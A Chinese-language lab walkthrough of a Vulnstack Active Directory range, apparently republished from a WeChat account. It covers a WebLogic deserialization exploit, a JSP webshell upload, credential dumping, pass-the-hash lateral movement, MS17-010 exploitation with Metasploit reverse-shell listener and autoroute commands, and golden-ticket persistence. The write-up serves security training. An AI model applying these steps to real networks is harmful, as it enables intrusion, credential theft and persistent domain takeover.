0x01-前言

本次实验环境为红日安全团队出品的一个实战环境。其主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。本次红队环境主要Access Token利用、WMI利用、域漏洞利用SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。


靶场下载地址:


http://vulnstack.qiyuanxuetang.net/vuln/detail/3/


0x02-环境搭建


DC:IP:10.10.10.10OS:Windows Server 2012WEB:IP1:10.10.10.80IP2:192.168.111.80OS:Windows Server 2008网站搭建:Weblogic 10.3.6 MSSQL 2008PC:IP1:10.10.10.201IP2:192.168.111.201OS:Windows 7攻击机:IP:192.168.111.129OS:Windows 10IP:192.168.111.128OS:Kali内网网段:10.10.10.0/24DMZ网段:192.168.111.0/24


进入到​​C:\Oracle\Middleware\user_projects\domains\base_domain\bin​​目录下使用管理员身份开启startWeblogic批处理程序。

域渗透之黄金票据维持权限(Vulnstack靶场实战)_java ee


0x03-WEB扫描

首先使用nmap扫描靶机端口

域渗透之黄金票据维持权限(Vulnstack靶场实战)_webshell_02可以看到靶机开启了SMB服务以及远程登录服务,1433端口是MSSQL,7001端口是Weblogic服务

域渗透之黄金票据维持权限(Vulnstack靶场实战)_weblogic_03

打开靶机Weblogic主页看看

域渗透之黄金票据维持权限(Vulnstack靶场实战)_java ee_04

打开显示报错,我们先不管,由于是WebLogic,我们可以直接访问它的后台地址:http://xxxxxx:7001/console

域渗透之黄金票据维持权限(Vulnstack靶场实战)_weblogic_05

尝试弱密码后无果,使用工具尝试WebLogic漏反序列化漏洞,即CVE-2019-2725

域渗透之黄金票据维持权限(Vulnstack靶场实战)_java ee_06

命令也能成功执行

域渗透之黄金票据维持权限(Vulnstack靶场实战)_beacon_07

域渗透之黄金票据维持权限(Vulnstack靶场实战)_relay_08

于是就想传一个webshell,用其他webshell工具去连上传冰蝎jsp马到目录:

C:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp

域渗透之黄金票据维持权限(Vulnstack靶场实战)_java ee_09

连接成功

域渗透之黄金票据维持权限(Vulnstack靶场实战)_weblogic_10

这里已经发现是一张双网卡主机,有可能10段通向内网

域渗透之黄金票据维持权限(Vulnstack靶场实战)_beacon_11

无ipc连接,net view命令无法使用

域渗透之黄金票据维持权限(Vulnstack靶场实战)_java ee_12

并已知是域内主机

域渗透之黄金票据维持权限(Vulnstack靶场实战)_beacon_13

查看进程无杀软,也无浏览器等信息(无法抓取浏览器密码),并且net命令返回ERROR 5 这是没有权限,于是准备反弹shell到后渗透神器cs,进行提权等操作


域渗透之黄金票据维持权限(Vulnstack靶场实战)_relay_14

域渗透之黄金票据维持权限(Vulnstack靶场实战)_relay_15

0x04-后渗透(内网漫游)

提权及信息搜集

由于该靶机可以出网,我们直接powershell上线

域渗透之黄金票据维持权限(Vulnstack靶场实战)_relay_16

甜土豆进行提权

域渗透之黄金票据维持权限(Vulnstack靶场实战)_weblogic_17

通过nslookup查询dns记录,这里查到一个10.10.10.10的ip,在域内,由于在域内,这个ip很有可能就是域控


域渗透之黄金票据维持权限(Vulnstack靶场实战)_relay_18

又通过net time查到主域名称

域渗透之黄金票据维持权限(Vulnstack靶场实战)_webshell_19

抓取本机密码

域渗透之黄金票据维持权限(Vulnstack靶场实战)_weblogic_20

可以看到其中有mssql明文密码和Administrator明文密码



准备3389远程桌面连接,不过无论是Administrator还是de1ay都无法登录,我们直接添加一个用户,并加入到管理员组中,即可登录成功


域渗透之黄金票据维持权限(Vulnstack靶场实战)_webshell_21

域渗透之黄金票据维持权限(Vulnstack靶场实战)_relay_22

0x05-横向移动

扫描下同网段其他主机

域渗透之黄金票据维持权限(Vulnstack靶场实战)_weblogic_23

扫描192.168.111.0/24以及他们的端口,发现一台名为PC的主机,并且开启远程桌面3389。

域渗透之黄金票据维持权限(Vulnstack靶场实战)_weblogic_24

再扫描10段

域渗透之黄金票据维持权限(Vulnstack靶场实战)_webshell_25

发现一台名为DC主机,看着名字就知道是域控,加上刚刚探测dns和主域名称,并且他的ip是10.10.10.10,基本可以判断这台就是域控


0x06-psexec

那么在域控明确的情况下优先处理DC,首先想到的就是pth,因为域内很多密码都是批量设置的,这里必须要试一下。


使用当前抓取的Administrator账户和密码来传递

域渗透之黄金票据维持权限(Vulnstack靶场实战)_weblogic_26

CS这里应该是成功了 ,但却并没有上线

域渗透之黄金票据维持权限(Vulnstack靶场实战)_java ee_27

猜测该靶机不出网,无法形成反向shell,不出网的话一般就用smb处理,翻回刚刚的扫描记录,对方445端口是开启的,可以使用smb拿不出网主机


域渗透之黄金票据维持权限(Vulnstack靶场实战)_webshell_28

新增一个SMB beacon

域渗透之黄金票据维持权限(Vulnstack靶场实战)_java ee_29

再次使用psexec pass the hash

域渗透之黄金票据维持权限(Vulnstack靶场实战)_webshell_30

成功拿下DC

域渗透之黄金票据维持权限(Vulnstack靶场实战)_webshell_31

0x07-MS17010

那么这里换一种思路,如果pth失败了,怎么办,那就要使用已知漏洞,例如MS17010

这里使用Ladon对10段扫描漏洞,发现DC是存在MS17-010的

域渗透之黄金票据维持权限(Vulnstack靶场实战)_webshell_32

这次我们使用metasploit进行利用

首先在msf上执行如下操作


  • use exploit/multi/handler
  • set payload windows/meterpreter/reverse_http
  • set lhost 设置本机ip
  • set lport 设置本地接收的端口
  • exploit 攻击

域渗透之黄金票据维持权限(Vulnstack靶场实战)_java ee_33

回到cs上创建一个foreign监听的listeners

域渗透之黄金票据维持权限(Vulnstack靶场实战)_java ee_34

创建后右键WEB选择增加会话

域渗透之黄金票据维持权限(Vulnstack靶场实战)_java ee_35

选择msf的payload

域渗透之黄金票据维持权限(Vulnstack靶场实战)_java ee_36

msf等待shel反弹即可

域渗透之黄金票据维持权限(Vulnstack靶场实战)_weblogic_37

由于目标不出网,需要先添加路由


  • run get_local_subnets
  • run autoroute -s 10.10.10.0/24
  • run autoroute -p

域渗透之黄金票据维持权限(Vulnstack靶场实战)_weblogic_38

一开始使用windows/smb/ms17_010_eternalblue这个模块

域渗透之黄金票据维持权限(Vulnstack靶场实战)_webshell_39

显示攻击成功了但并没有session返回,我们看一眼靶机,发现已经蓝屏了

域渗透之黄金票据维持权限(Vulnstack靶场实战)_relay_40

所以这个模块一定要慎用,我们还是换个模块,这样也成功拿下了这台DC,在渗透中我们也要尝试不同的思路进行渗透。


域渗透之黄金票据维持权限(Vulnstack靶场实战)_relay_41

0x08-抓取DC密码

使用hashdump获取DC用户的hash

域渗透之黄金票据维持权限(Vulnstack靶场实战)_java ee_42

有了域内KRBTGT账户的hash就可以伪造黄金票据

logonpasswords

域渗透之黄金票据维持权限(Vulnstack靶场实战)_webshell_43

查询域管账户

域渗透之黄金票据维持权限(Vulnstack靶场实战)_weblogic_44

DC就算是拿下了

用相同的方式拿下PC

域渗透之黄金票据维持权限(Vulnstack靶场实战)_webshell_30

PC是出网的可以直接用http beacon

域渗透之黄金票据维持权限(Vulnstack靶场实战)_beacon_46

0x09-权限维持

做权限维持方式很多,粘滞键、注册表注入、计划任务、影子用户等等。 由于本次是拿到域控,那么这种情况下,我们使用黄金票据是一种非常好的权限维持的方法。 黄金票据的原理就是用krbtgt的hash来伪造TGT的内容。更改里面的client参数与session kye等。让TGT以为我就是个那我所声称的人,当然一般都会声称自己为Administrator。 黄金票据的条件要求:



域名称域的SID值  #通过whoamo /user   去掉最后横线的数字剩下的就是SID域的KRBTGT账户NTLM-HASH密码哈希伪造用户名,可以是任意用户名

黄金票据他能让黑客在拥有普通域用户权限和KRBTGT账号的哈希的情况下,获取域管理员权限。我们上面已经得到域控的 system权限了,还可以使用黄金票据做权限维持,当失去域控system权限后,再通过域内其他任意主机伪造黄金票据来重新获取system权限。 这里我们已经获取到了 KRBTGT 账户的哈希值


域渗透之黄金票据维持权限(Vulnstack靶场实战)_webshell_47

并且也拿到了域的SID值,去掉最后的-1001

域渗透之黄金票据维持权限(Vulnstack靶场实战)_weblogic_48

接下来就可以伪造一张黄金票据,我们选择最边缘的web这台主机

域渗透之黄金票据维持权限(Vulnstack靶场实战)_relay_49

伪造黄金票据成功

域渗透之黄金票据维持权限(Vulnstack靶场实战)_beacon_50

这里为了测试用了PC,一开始是无法访问域控目录的

域渗透之黄金票据维持权限(Vulnstack靶场实战)_java ee_51

生成黄金票据后

域渗透之黄金票据维持权限(Vulnstack靶场实战)_weblogic_52

那么即使域控这台主机权限掉了或密码被修改了,我们依然可以使用边缘主机的黄金票据模拟获得最高权限,由于跳过AS验证,也就无需担心域管密码被修改


域渗透之黄金票据维持权限(Vulnstack靶场实战)_beacon_53

添加域管账户

域渗透之黄金票据维持权限(Vulnstack靶场实战)_beacon_54

在域控上查看域管账户,添加成功

域渗透之黄金票据维持权限(Vulnstack靶场实战)_relay_55

0x10-总结

最后能够维持权限的方式有很多,黄金票据的维权方式由于在域中独有,能接触到的机会也比较少,对于很少接触内网的我又是一个进步学习的机会,感谢前人师傅提供的环境,有错误的地方请师傅们指正。



本文分享自微信公众号 - 释然IT杂谈